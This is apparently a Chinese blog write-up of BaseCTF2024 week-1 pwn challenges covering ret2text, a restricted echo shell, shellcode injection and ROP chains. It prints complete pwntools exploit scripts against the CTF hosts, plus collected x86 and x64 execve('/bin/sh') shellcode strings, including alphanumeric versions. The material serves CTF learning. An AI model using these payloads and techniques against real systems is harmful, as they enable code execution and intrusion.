背景

整理了一下之前做BaseCTF2024的题目,个人认为题目出得很有意思

分享一下自己的思路。

复现平台如有侵权,请联系删除


签个到吧

本题没有提供附件,根据提示我们使用nc连接靶机。

尝试ls命令(没有过滤)查看当前目录文件,接下来cat拿下flag。

图片

Ret2text

这里我们下载附件,IDA逆向获得伪C代码(这里我们最好有自己的排查思路,像这里其实需要看一下保护(这里因为有点基础,就省略了))。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  read(0, buf, 0x100uLL);
  return 0;
}

通常,直接看buf[32]就确定栈大小。Tips:有可能错误,这时需要本地调试校对。

这里查看符号表,发现后门函数,table看一下函数地址(也可以从符号表里看)或者直接从system("/bin/sh")地址入手

图片

图片

(符号表起始地址)

图片

同时,我们点击buf进入栈,填充0x20后需要再覆盖rbp寄存器(8字节)

图片

注意,最重要的一点,我们查看elf文件属性发现是x86-64位,其实就是x64的elf调用system函数会检查栈顶rsp是否16字节对齐(意味着栈顶rsp最后一位需要为0,否则会报段错误)

$ file Ret2text
Ret2text: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b3e7f8cd3bdf6ad424a1976f498923ceccd8eebc, for GNU/Linux 3.2.0, not stripped

由于后门函数进入需要push rbp显然最后一位为8因此我们需要使用ret命令弹出rsp使得栈对齐

图片

这里我们放上exp

from pwn import *

p = remote("gz.imxbt.cn",20181)

payload = b"a"*0x20 + b"b"*8 +p64(0x04011D1) + p64(0x4011A4)

p.sendline(payload)

p.interactive()

或者我们直接绕过push rbp直接执行system函数

图片

from pwn import *

p = remote("gz.imxbt.cn",20181)

payload = b"a"*0x20 + b"b"*8 +p64(0x4011BB) 

p.sendline(payload)

p.interactive()

echo

题目提示bash目录下只有echo文件,意味着不能执行ls等命令。

这个使用我们第一个思路是去查找echo的用法看看有没有什么特殊的参数可以达到预期结果,发现没有

第二个思路报错输出,原理->bash命令输入文件名可能被bash解释器当作命令或elf或可执行文件从而报错输出内容

图片

AI给出的解释,这不是在运行一个程序,而是在运行一个文本文件,它里面的内容被当成了命令,系统找不到这个命令才报错

第三个思路参考别人的wp,重定向

echo `< /flag`
或
a=$(< /flag) ;a=命令,之间不能空格
echo $a
或者
echo "${a}"
或者
$a  ;连echo都不用

shellcode_level0

补充一下

void *mmap(void *addr, size_t length, int prot, int flags,
           int fd, off_t offset);
  • addr:建议的映射起始地址(通常设为 NULL,由内核自动选择)
  • length:映射区域的长度(必须是页大小(4 KB)的整数倍,如 4096 字节)
  • prot:映射区的内存保护模式选项(用|链接)
    • PROT_READ:映射区可读
    • PROT_WRITE:映射区可写
    • PROT_EXEC:映射区可执行
    • 注意:映射权限必须 <= 文件打开权限
  • flags:映射类型(如 MAP_SHARED 或 MAP_PRIVATE)
    • MAP_PRIVATE:创建⼀个私有映射。对映射区域的修改不会反映到底层文件中。(即:修改仅对当前进程有效(写时复制,类似 fork)
    • MAP_SHARED:创建⼀个共享映射。对映射区域的修改会反映到底层文件中(即:修改会同步到文件,其他进程可见)
    • MAP_ANONYMOUS:指定要创建⼀个匿名内存映射
  • fd:文件描述符(匿名映射时设为 -1)
  • offset 文件偏移量(开始映射的位置相较于0位置处的偏移)(必须是页大小的整数倍)
    返回值
    • 成功:返回映射区的起始地址(虚拟地址)
    • 失败:返回(void*) -1 或者 MAP_FAILED(等效的)
权限宏 含义
PROT_READ 可读
PROT_WRITE 可写
PROT_EXEC 可执行
PROT_NONE 无权限

这里我们主要看mmap申请的权限(其实上面只有权限一行对做题有用)

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
// 7 = 1 + 2 + 4 可读可写可执行
prot数值 二进制 对应权限组合 含义
0x0 000 无权限 不能访问
0x1 001 PROT_READ 可读
0x2 010 PROT_WRITE 可写
0x3 011 `PROT_READ PROT_WRITE`
0x4 100 PROT_EXEC 可执行
0x5 101 `PROT_READ PROT_EXEC`
0x6 110 `PROT_WRITE PROT_EXEC`
0x7 111 `PROT_READ PROT_WRITE
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]

  init(argc, argv, envp);
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( buf == (void *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  printf("please input shellcode: ");
  read(0, buf, 0x100uLL);
  ((void (*)(void))buf)();
  return 0;
}

read函数后执行buf()函数

因此直接对buf写入shellcode指令(针对32位 64位进行收集)即可

from pwn import *

p = remote("gz.imxbt.cn",20190)

payload = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

p.sendlineafter(b"shellcode: ",payload)

p.interactive()

以下是我收集的shellcode可以给大家作为参考

不可见版本

x32 -> 21 字节

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

x64 -> 23 字节

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

可见版本

x32 :

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA 

x64 :

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t 

pwntools生成

asm(shellcraft.sh()) 44位,根据版本生成

彻底失去她

这题的主函数,符号表存在system函数但是没有/bin/sh需要拼接

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  init();
  puts("Thank you for helping me find her.");
  puts("But she has left me for good this time, what should I do?");
  puts("By the way, I still don't know your name, could you tell me your name?");
  read(0, buf, 0x100uLL);
  return 0;
}

这里我们有两种思路

1通过read函数写入bss段(为什么是bss段,因为bss段通常可写可读)

2泄露libc地址构造ROP链(这里想要放到下一章,这里不做演示)

图片

可以推断出read函数和三个寄存器有关rdi,rsi,edx(rdx)有关,

通过ROPgadget工具得到相关片段

图片

查找bss段,我们通常选择黄色地址的bss段
图片

图片

这题挺有意思的,准备单独开一篇。

附上我的exp,

from pwn import *
#p=process('./彻底失去她')
p=remote("gz.imxbt.cn",20235)
elf=ELF('./彻底失去她')

system=0x4011A5#或者elf.plt['system']
read=elf.sym['read'] #双击call _read也同样可以获得plt 等价于read_p=elf.plt["read"] 有人想过#read = 0x401259可以吗
ret = 0x0401264
rdi_ret=0x401196
rsi_ret=0x4011ad
rdx_ret=0x401265
bss= 0x04040A0

print("system---------->",hex(system))
print("read------------>",hex(read))

payload=b'a'*(0xa) + b"b"*8

payload+=p64(rdi_ret)+p64(0)
payload+=p64(rsi_ret)+p64(bss)
payload+=p64(rdx_ret)+p64(0x8)
payload+=p64(read) #等价于read(0,bss,0x8)
payload+=p64(rdi_ret)+p64(bss)+p64(ret)+p64(system) 
#gdb.attach(p)

p.sendlineafter(b"name?",payload)
p.sendline(b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()

我把她丢了

这题很寻常,栈溢出+拼接system和/bin/sh(并且题目都给了)

// 栈溢出部分
ssize_t vuln()
{
  _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF

  puts("I lost her, what should I do? Help me find her.");
  return read(0, buf, 0x150uLL);
}
// system函数位置
int shell()
{
  return system("echo I beleve you.");
}
// /bin/sh位置 IDA工具
.rodata:0000000000402008 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:hidden_str↓o

使用ROPgadget找一下rdi_ret

0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x000000000040101a : ret

exp代码

from pwn import *

p = remote("gz.imxbt.cn",20236)

bin_add = 0x402008
rdi_ret = 0x0401196
sys = 0x40120F

payload = b"a"*0x70 + b"b"*8 +p64(rdi_ret)+ p64(bin_add) + p64(sys) #是否有疑问这里为什么不加p64(ret),通常我们编写脚本的时候先考虑栈已经对齐,因为进入调试模式查看太过麻烦,打不通再加上p64(ret)

p.sendlineafter(b"find her.",payload)

p.interactive()

如果大家对于上面的有不同看法,可以发表评论一起讨论一下。
在下水平不足,如有错误。尽管批评指正。
参考->
BaseCTF2024官方题解
2024BaseCTF-week1wp
BASECTF WEEK1-WP
Linux mmap文件内存映射

posted on 2025-07-06 22:44  Qyzen  阅读(113)  评论(0)    收藏  举报